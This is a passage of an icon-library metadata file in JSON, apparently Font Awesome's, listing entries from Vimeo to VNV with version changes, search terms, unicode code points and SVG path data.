        "height": 512,
        "path": "M403.2 32H44.8C20.1 32 0 52.1 0 76.8v358.4C0 459.9 20.1 480 44.8 480h358.4c24.7 0 44.8-20.1 44.8-44.8V76.8c0-24.7-20.1-44.8-44.8-44.8zM377 180.8c-1.4 31.5-23.4 74.7-66 129.4-44 57.2-81.3 85.8-111.7 85.8-18.9 0-34.8-17.4-47.9-52.3-25.5-93.3-36.4-148-57.4-148-2.4 0-10.9 5.1-25.4 15.2l-15.2-19.6c37.3-32.8 72.9-69.2 95.2-71.2 25.2-2.4 40.7 14.8 46.5 51.7 20.7 131.2 29.9 151 67.6 91.6 13.5-21.4 20.8-37.7 21.8-48.9 3.5-33.2-25.9-30.9-45.8-22.4 15.9-52.1 46.3-77.4 91.2-76 33.3.9 49 22.5 47.1 64.7z"
      }
    },
    "free": ["brands"]
  },
  "vimeo-v": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["vimeo"]
    },
    "styles": ["brands"],
    "unicode": "f27d",
    "label": "Vimeo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M447.8 153.6c-2 43.6-32.4 103.3-91.4 179.1-60.9 79.2-112.4 118.8-154.6 118.8-26.1 0-48.2-24.1-66.3-72.3C100.3 250 85.3 174.3 56.2 174.3c-3.4 0-15.1 7.1-35.2 21.1L0 168.2c51.6-45.3 100.9-95.7 131.8-98.5 34.9-3.4 56.3 20.5 64.4 71.5 28.7 181.5 41.4 208.9 93.6 126.7 18.7-29.6 28.8-52.1 30.2-67.6 4.8-45.9-35.8-42.8-63.3-31 22-72.1 64.1-107.1 126.2-105.1 45.8 1.2 67.5 31.1 64.9 89.4z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M447.8 153.6c-2 43.6-32.4 103.3-91.4 179.1-60.9 79.2-112.4 118.8-154.6 118.8-26.1 0-48.2-24.1-66.3-72.3C100.3 250 85.3 174.3 56.2 174.3c-3.4 0-15.1 7.1-35.2 21.1L0 168.2c51.6-45.3 100.9-95.7 131.8-98.5 34.9-3.4 56.3 20.5 64.4 71.5 28.7 181.5 41.4 208.9 93.6 126.7 18.7-29.6 28.8-52.1 30.2-67.6 4.8-45.9-35.8-42.8-63.3-31 22-72.1 64.1-107.1 126.2-105.1 45.8 1.2 67.5 31.1 64.9 89.4z"
      }
    },
    "free": ["brands"]
  },
  "vine": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1ca",
    "label": "Vine",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M384 254.7v52.1c-18.4 4.2-36.9 6.1-52.1 6.1-36.9 77.4-103 143.8-125.1 156.2-14 7.9-27.1 8.4-42.7-.8C137 452 34.2 367.7 0 102.7h74.5C93.2 261.8 139 343.4 189.3 404.5c27.9-27.9 54.8-65.1 75.6-106.9-49.8-25.3-80.1-80.9-80.1-145.6 0-65.6 37.7-115.1 102.2-115.1 114.9 0 106.2 127.9 81.6 181.5 0 0-46.4 9.2-63.5-20.5 3.4-11.3 8.2-30.8 8.2-48.5 0-31.3-11.3-46.6-28.4-46.6-18.2 0-30.8 17.1-30.8 50 .1 79.2 59.4 118.7 129.9 101.9z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M384 254.7v52.1c-18.4 4.2-36.9 6.1-52.1 6.1-36.9 77.4-103 143.8-125.1 156.2-14 7.9-27.1 8.4-42.7-.8C137 452 34.2 367.7 0 102.7h74.5C93.2 261.8 139 343.4 189.3 404.5c27.9-27.9 54.8-65.1 75.6-106.9-49.8-25.3-80.1-80.9-80.1-145.6 0-65.6 37.7-115.1 102.2-115.1 114.9 0 106.2 127.9 81.6 181.5 0 0-46.4 9.2-63.5-20.5 3.4-11.3 8.2-30.8 8.2-48.5 0-31.3-11.3-46.6-28.4-46.6-18.2 0-30.8 17.1-30.8 50 .1 79.2 59.4 118.7 129.9 101.9z"
      }
    },
    "free": ["brands"]
  },
  "virus": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e074"]
      }
    },
    "changes": [
      "5.13.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.1.0",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bug",
        "coronavirus",
        "covid-19",
        "flu",
        "health",
        "infection",
        "pandemic",
        "sick",
        "vaccine",
        "viral"
      ]
    },
    "styles": ["solid"],
    "unicode": "e074",
    "label": "Virus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M288 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V43.5c0 49.9-60.3 74.9-95.6 39.6L120.2 75C107.7 62.5 87.5 62.5 75 75s-12.5 32.8 0 45.3l8.2 8.2C118.4 163.7 93.4 224 43.5 224H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H43.5c49.9 0 74.9 60.3 39.6 95.6L75 391.8c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l8.2-8.2c35.3-35.3 95.6-10.3 95.6 39.6V480c0 17.7 14.3 32 32 32s32-14.3 32-32V468.5c0-49.9 60.3-74.9 95.6-39.6l8.2 8.2c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-8.2-8.2c-35.3-35.3-10.3-95.6 39.6-95.6H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H468.5c-49.9 0-74.9-60.3-39.6-95.6l8.2-8.2c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-8.2 8.2C348.3 118.4 288 93.4 288 43.5V32zM176 224a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm128 56a24 24 0 1 1 0 48 24 24 0 1 1 0-48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M288 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V43.5c0 49.9-60.3 74.9-95.6 39.6L120.2 75C107.7 62.5 87.5 62.5 75 75s-12.5 32.8 0 45.3l8.2 8.2C118.4 163.7 93.4 224 43.5 224H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H43.5c49.9 0 74.9 60.3 39.6 95.6L75 391.8c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l8.2-8.2c35.3-35.3 95.6-10.3 95.6 39.6V480c0 17.7 14.3 32 32 32s32-14.3 32-32V468.5c0-49.9 60.3-74.9 95.6-39.6l8.2 8.2c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-8.2-8.2c-35.3-35.3-10.3-95.6 39.6-95.6H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H468.5c-49.9 0-74.9-60.3-39.6-95.6l8.2-8.2c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-8.2 8.2C348.3 118.4 288 93.4 288 43.5V32zM176 224a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm128 56a24 24 0 1 1 0 48 24 24 0 1 1 0-48z"
      }
    },
    "free": ["solid"]
  },
  "virus-covid": {
    "changes": ["6.0.0", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bug",
        "covid-19",
        "flu",
        "health",
        "infection",
        "pandemic",
        "vaccine",
        "viral",
        "virus"
      ]
    },
    "styles": ["solid"],
    "unicode": "e4a8",
    "label": "Virus Covid",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M192 24c0-13.3 10.7-24 24-24h80c13.3 0 24 10.7 24 24s-10.7 24-24 24H280V81.6c30.7 4.2 58.8 16.3 82.3 34.1L386.1 92 374.8 80.6c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l56.6 56.6c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0L420 125.9l-23.8 23.8c17.9 23.5 29.9 51.7 34.1 82.3H464V216c0-13.3 10.7-24 24-24s24 10.7 24 24v80c0 13.3-10.7 24-24 24s-24-10.7-24-24V280H430.4c-4.2 30.7-16.3 58.8-34.1 82.3L420 386.1l11.3-11.3c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-56.6 56.6c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9L386.1 420l-23.8-23.8c-23.5 17.9-51.7 29.9-82.3 34.1V464h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H216c-13.3 0-24-10.7-24-24s10.7-24 24-24h16V430.4c-30.7-4.2-58.8-16.3-82.3-34.1L125.9 420l11.3 11.3c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0L46.7 408.7c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0L92 386.1l23.8-23.8C97.9 338.8 85.8 310.7 81.6 280H48v16c0 13.3-10.7 24-24 24s-24-10.7-24-24V216c0-13.3 10.7-24 24-24s24 10.7 24 24v16H81.6c4.2-30.7 16.3-58.8 34.1-82.3L92 125.9 80.6 137.2c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l56.6-56.6c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9L125.9 92l23.8 23.8c23.5-17.9 51.7-29.9 82.3-34.1V48H216c-13.3 0-24-10.7-24-24zm48 200a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zm64 104a24 24 0 1 0 0-48 24 24 0 1 0 0 48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M192 24c0-13.3 10.7-24 24-24h80c13.3 0 24 10.7 24 24s-10.7 24-24 24H280V81.6c30.7 4.2 58.8 16.3 82.3 34.1L386.1 92 374.8 80.6c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l56.6 56.6c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0L420 125.9l-23.8 23.8c17.9 23.5 29.9 51.7 34.1 82.3H464V216c0-13.3 10.7-24 24-24s24 10.7 24 24v80c0 13.3-10.7 24-24 24s-24-10.7-24-24V280H430.4c-4.2 30.7-16.3 58.8-34.1 82.3L420 386.1l11.3-11.3c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-56.6 56.6c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9L386.1 420l-23.8-23.8c-23.5 17.9-51.7 29.9-82.3 34.1V464h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H216c-13.3 0-24-10.7-24-24s10.7-24 24-24h16V430.4c-30.7-4.2-58.8-16.3-82.3-34.1L125.9 420l11.3 11.3c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0L46.7 408.7c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0L92 386.1l23.8-23.8C97.9 338.8 85.8 310.7 81.6 280H48v16c0 13.3-10.7 24-24 24s-24-10.7-24-24V216c0-13.3 10.7-24 24-24s24 10.7 24 24v16H81.6c4.2-30.7 16.3-58.8 34.1-82.3L92 125.9 80.6 137.2c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l56.6-56.6c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9L125.9 92l23.8 23.8c23.5-17.9 51.7-29.9 82.3-34.1V48H216c-13.3 0-24-10.7-24-24zm48 200a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zm64 104a24 24 0 1 0 0-48 24 24 0 1 0 0 48z"
      }
    },
    "free": ["solid"]
  },
  "virus-covid-slash": {
    "changes": ["6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bug",
        "covid-19",
        "flu",
        "health",
        "infection",
        "pandemic",
        "vaccine",
        "viral",
        "virus"
      ]
    },
    "styles": ["solid"],
    "unicode": "e4a9",
    "label": "Virus Covid Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L472.1 344.7c11.4-19.5 19.1-41.4 22.3-64.7H528v16c0 13.3 10.7 24 24 24s24-10.7 24-24V216c0-13.3-10.7-24-24-24s-24 10.7-24 24v16H494.4c-4.2-30.7-16.3-58.8-34.1-82.3L484 125.9l11.3 11.3c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L472.7 46.7c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9L450.1 92l-23.8 23.8C402.8 97.9 374.7 85.8 344 81.6V48h16c13.3 0 24-10.7 24-24s-10.7-24-24-24H280c-13.3 0-24 10.7-24 24s10.7 24 24 24h16V81.6c-30.7 4.2-58.8 16.3-82.3 34.1L189.9 92l11.3-11.3c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L134.1 79.8 38.8 5.1zM149.2 213.5c-1.5 6-2.7 12.2-3.5 18.5H112V216c0-13.3-10.7-24-24-24s-24 10.7-24 24v80c0 13.3 10.7 24 24 24s24-10.7 24-24V280h33.6c4.2 30.7 16.3 58.8 34.1 82.3L156 386.1l-11.3-11.3c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l56.6 56.6c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L189.9 420l23.8-23.8c23.5 17.9 51.7 29.9 82.3 34.1V464H280c-13.3 0-24 10.7-24 24s10.7 24 24 24h80c13.3 0 24-10.7 24-24s-10.7-24-24-24H344V430.4c20.4-2.8 39.7-9.1 57.3-18.2L149.2 213.5z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L472.1 344.7c11.4-19.5 19.1-41.4 22.3-64.7H528v16c0 13.3 10.7 24 24 24s24-10.7 24-24V216c0-13.3-10.7-24-24-24s-24 10.7-24 24v16H494.4c-4.2-30.7-16.3-58.8-34.1-82.3L484 125.9l11.3 11.3c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L472.7 46.7c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9L450.1 92l-23.8 23.8C402.8 97.9 374.7 85.8 344 81.6V48h16c13.3 0 24-10.7 24-24s-10.7-24-24-24H280c-13.3 0-24 10.7-24 24s10.7 24 24 24h16V81.6c-30.7 4.2-58.8 16.3-82.3 34.1L189.9 92l11.3-11.3c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L134.1 79.8 38.8 5.1zM149.2 213.5c-1.5 6-2.7 12.2-3.5 18.5H112V216c0-13.3-10.7-24-24-24s-24 10.7-24 24v80c0 13.3 10.7 24 24 24s24-10.7 24-24V280h33.6c4.2 30.7 16.3 58.8 34.1 82.3L156 386.1l-11.3-11.3c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l56.6 56.6c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L189.9 420l23.8-23.8c23.5 17.9 51.7 29.9 82.3 34.1V464H280c-13.3 0-24 10.7-24 24s10.7 24 24 24h80c13.3 0 24-10.7 24-24s-10.7-24-24-24H344V430.4c20.4-2.8 39.7-9.1 57.3-18.2L149.2 213.5z"
      }
    },
    "free": ["solid"]
  },
  "virus-slash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e075"]
      }
    },
    "changes": [
      "5.13.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bug",
        "coronavirus",
        "covid-19",
        "cure",
        "eliminate",
        "flu",
        "health",
        "infection",
        "pandemic",
        "sick",
        "vaccine",
        "viral"
      ]
    },
    "styles": ["solid"],
    "unicode": "e075",
    "label": "Virus Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-154.3-121c-2-30.1 20.8-60.1 56-60.1H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H532.5c-49.9 0-74.9-60.3-39.6-95.6l8.2-8.2c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-8.2 8.2C412.3 118.4 352 93.4 352 43.5V32c0-17.7-14.3-32-32-32s-32 14.3-32 32V43.5c0 49.9-60.3 74.9-95.6 39.6L184.2 75c-12.5-12.5-32.8-12.5-45.3 0c-1.6 1.6-3.1 3.4-4.3 5.3L38.8 5.1zm225.8 177c6.9-3.9 14.9-6.1 23.4-6.1c26.5 0 48 21.5 48 48c0 4.4-.6 8.7-1.7 12.7l-69.7-54.6zM402 412.7L144.7 210c-9.5 8.5-22.2 14-37.2 14H96c-17.7 0-32 14.3-32 32s14.3 32 32 32h11.5c49.9 0 74.9 60.3 39.6 95.6l-8.2 8.2c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l8.2-8.2c35.3-35.3 95.6-10.3 95.6 39.6V480c0 17.7 14.3 32 32 32s32-14.3 32-32V468.5c0-31.2 23.6-52.7 50-55.7z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-154.3-121c-2-30.1 20.8-60.1 56-60.1H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H532.5c-49.9 0-74.9-60.3-39.6-95.6l8.2-8.2c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-8.2 8.2C412.3 118.4 352 93.4 352 43.5V32c0-17.7-14.3-32-32-32s-32 14.3-32 32V43.5c0 49.9-60.3 74.9-95.6 39.6L184.2 75c-12.5-12.5-32.8-12.5-45.3 0c-1.6 1.6-3.1 3.4-4.3 5.3L38.8 5.1zm225.8 177c6.9-3.9 14.9-6.1 23.4-6.1c26.5 0 48 21.5 48 48c0 4.4-.6 8.7-1.7 12.7l-69.7-54.6zM402 412.7L144.7 210c-9.5 8.5-22.2 14-37.2 14H96c-17.7 0-32 14.3-32 32s14.3 32 32 32h11.5c49.9 0 74.9 60.3 39.6 95.6l-8.2 8.2c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l8.2-8.2c35.3-35.3 95.6-10.3 95.6 39.6V480c0 17.7 14.3 32 32 32s32-14.3 32-32V468.5c0-31.2 23.6-52.7 50-55.7z"
      }
    },
    "free": ["solid"]
  },
  "viruses": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e076"]
      }
    },
    "changes": ["5.13.0", "5.14.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bugs",
        "coronavirus",
        "covid-19",
        "flu",
        "health",
        "infection",
        "multiply",
        "pandemic",
        "sick",
        "spread",
        "vaccine",
        "viral"
      ]
    },
    "styles": ["solid"],
    "unicode": "e076",
    "label": "Viruses",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M192 0c13.3 0 24 10.7 24 24V37.5c0 35.6 43.1 53.5 68.3 28.3l9.5-9.5c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-9.5 9.5C293 124.9 310.9 168 346.5 168H360c13.3 0 24 10.7 24 24s-10.7 24-24 24H346.5c-35.6 0-53.5 43.1-28.3 68.3l9.5 9.5c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-9.5-9.5C259.1 293 216 310.9 216 346.5V360c0 13.3-10.7 24-24 24s-24-10.7-24-24V346.5c0-35.6-43.1-53.5-68.3-28.3l-9.5 9.5c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l9.5-9.5C91 259.1 73.1 216 37.5 216H24c-13.3 0-24-10.7-24-24s10.7-24 24-24H37.5c35.6 0 53.5-43.1 28.3-68.3l-9.5-9.5c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l9.5 9.5C124.9 91 168 73.1 168 37.5V24c0-13.3 10.7-24 24-24zm48 224a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm-48-64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm320 80c0 33 39.9 49.5 63.2 26.2c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6C574.5 312.1 591 352 624 352c8.8 0 16 7.2 16 16s-7.2 16-16 16c-33 0-49.5 39.9-26.2 63.2c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0C551.9 446.5 512 463 512 496c0 8.8-7.2 16-16 16s-16-7.2-16-16c0-33-39.9-49.5-63.2-26.2c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6C417.5 423.9 401 384 368 384c-8.8 0-16-7.2-16-16s7.2-16 16-16c33 0 49.5-39.9 26.2-63.2c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0C440.1 289.5 480 273 480 240c0-8.8 7.2-16 16-16s16 7.2 16 16zm0 112a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M192 0c13.3 0 24 10.7 24 24V37.5c0 35.6 43.1 53.5 68.3 28.3l9.5-9.5c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-9.5 9.5C293 124.9 310.9 168 346.5 168H360c13.3 0 24 10.7 24 24s-10.7 24-24 24H346.5c-35.6 0-53.5 43.1-28.3 68.3l9.5 9.5c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-9.5-9.5C259.1 293 216 310.9 216 346.5V360c0 13.3-10.7 24-24 24s-24-10.7-24-24V346.5c0-35.6-43.1-53.5-68.3-28.3l-9.5 9.5c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l9.5-9.5C91 259.1 73.1 216 37.5 216H24c-13.3 0-24-10.7-24-24s10.7-24 24-24H37.5c35.6 0 53.5-43.1 28.3-68.3l-9.5-9.5c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l9.5 9.5C124.9 91 168 73.1 168 37.5V24c0-13.3 10.7-24 24-24zm48 224a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm-48-64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm320 80c0 33 39.9 49.5 63.2 26.2c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6C574.5 312.1 591 352 624 352c8.8 0 16 7.2 16 16s-7.2 16-16 16c-33 0-49.5 39.9-26.2 63.2c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0C551.9 446.5 512 463 512 496c0 8.8-7.2 16-16 16s-16-7.2-16-16c0-33-39.9-49.5-63.2-26.2c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6C417.5 423.9 401 384 368 384c-8.8 0-16-7.2-16-16s7.2-16 16-16c33 0 49.5-39.9 26.2-63.2c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0C440.1 289.5 480 273 480 240c0-8.8 7.2-16 16-16s16 7.2 16 16zm0 112a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z"
      }
    },
    "free": ["solid"]
  },
  "vk": {
    "changes": ["3.2.0", "5.0.0", "6.0.0-beta3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f189",
    "label": "VK",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M31.4907 63.4907C0 94.9813 0 145.671 0 247.04V264.96C0 366.329 0 417.019 31.4907 448.509C62.9813 480 113.671 480 215.04 480H232.96C334.329 480 385.019 480 416.509 448.509C448 417.019 448 366.329 448 264.96V247.04C448 145.671 448 94.9813 416.509 63.4907C385.019 32 334.329 32 232.96 32H215.04C113.671 32 62.9813 32 31.4907 63.4907ZM75.6 168.267H126.747C128.427 253.76 166.133 289.973 196 297.44V168.267H244.16V242C273.653 238.827 304.64 205.227 315.093 168.267H363.253C359.313 187.435 351.46 205.583 340.186 221.579C328.913 237.574 314.461 251.071 297.733 261.227C316.41 270.499 332.907 283.63 346.132 299.751C359.357 315.873 369.01 334.618 374.453 354.747H321.44C316.555 337.262 306.614 321.61 292.865 309.754C279.117 297.899 262.173 290.368 244.16 288.107V354.747H238.373C136.267 354.747 78.0267 284.747 75.6 168.267Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M31.4907 63.4907C0 94.9813 0 145.671 0 247.04V264.96C0 366.329 0 417.019 31.4907 448.509C62.9813 480 113.671 480 215.04 480H232.96C334.329 480 385.019 480 416.509 448.509C448 417.019 448 366.329 448 264.96V247.04C448 145.671 448 94.9813 416.509 63.4907C385.019 32 334.329 32 232.96 32H215.04C113.671 32 62.9813 32 31.4907 63.4907ZM75.6 168.267H126.747C128.427 253.76 166.133 289.973 196 297.44V168.267H244.16V242C273.653 238.827 304.64 205.227 315.093 168.267H363.253C359.313 187.435 351.46 205.583 340.186 221.579C328.913 237.574 314.461 251.071 297.733 261.227C316.41 270.499 332.907 283.63 346.132 299.751C359.357 315.873 369.01 334.618 374.453 354.747H321.44C316.555 337.262 306.614 321.61 292.865 309.754C279.117 297.899 262.173 290.368 244.16 288.107V354.747H238.373C136.267 354.747 78.0267 284.747 75.6 168.267Z"
      }
    },
    "free": ["brands"]
  },
  "vnv": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f40b",
    "label": "VNV",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M104.9 352c-34.1 0-46.4-30.4-46.4-30.4L2.6 210.1S-7.8 192 13 192h32.8c10.4 0 13.2 8.7 18.8 18.1l36.7 74.5s5.2 13.1 21.1 13.1 21.1-13.1 21.1-13.1l36.7-74.5c5.6-9.5 8.4-18.1 18.8-18.1h32.8c20.8 0 10.4 18.1 10.4 18.1l-55.8 111.5S174.2 352 140 352h-35.1zm395 0c-34.1 0-46.4-30.4-46.4-30.4l-55.9-111.5S387.2 192 408 192h32.8c10.4 0 13.2 8.7 18.8 18.1l36.7 74.5s5.2 13.1 21.1 13.1 21.1-13.1 21.1-13.1l36.8-74.5c5.6-9.5 8.4-18.1 18.8-18.1H627c20.8 0 10.4 18.1 10.4 18.1l-55.9 111.5S569.3 352 535.1 352h-35.2zM337.6 192c34.1 0 46.4 30.4 46.4 30.4l55.9 111.5s10.4 18.1-10.4 18.1h-32.8c-10.4 0-13.2-8.7-18.8-18.1l-36.7-74.5s-5.2-13.1-21.1-13.1c-15.9 0-21.1 13.1-21.1 13.1l-36.7 74.5c-5.6 9.4-8.4 18.1-18.8 18.1h-32.9c-20.8 0-10.4-18.1-10.4-18.1l55.9-111.5s12.2-30.4 46.4-30.4h35.1z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M104.9 352c-34.1 0-46.4-30.4-46.4-30.4L2.6 210.1S-7.8 192 13 192h32.8c10.4 0 13.2 8.7 18.8 18.1l36.7 74.5s5.2 13.1 21.1 13.1 21.1-13.1 21.1-13.1l36.7-74.5c5.6-9.5 8.4-18.1 18.8-18.1h32.8c20.8 0 10.4 18.1 10.4 18.1l-55.8 111.5S174.2 352 140 352h-35.1zm395 0c-34.1 0-46.4-30.4-46.4-30.4l-55.9-111.5S387.2 192 408 192h32.8c10.4 0 13.2 8.7 18.8 18.1l36.7 74.5s5.2 13.1 21.1 13.1 21.1-13.1 21.1-13.1l36.8-74.5c5.6-9.5 8.4-18.1 18.8-18.1H627c20.8 0 10.4 18.1 10.4 18.1l-55.9 111.5S569.3 352 535.1 352h-35.2zM337.6 192c34.1 0 46.4 30.4 46.4 30.4l55.9 111.5s10.4 18.1-10.4 18.1h-32.8c-10.4 0-13.2-8.7-18.8-18.1l-36.7-74.5s-5.2-13.1-21.1-13.1c-15.9 0-21.1 13.1-21.1 13.1l-36.7 74.5c-5.6 9.4-8.4 18.1-18.8 18.1h-32.9c-20.8 0-10.4-18.1-10.4-18.1l55.9-111.5s12.2-30.4 46.4-30.4h35.1z"
      }
    },
    "free": ["brands"]
  },
  "voicemail": {
    "aliases": {
      "unicodes": {
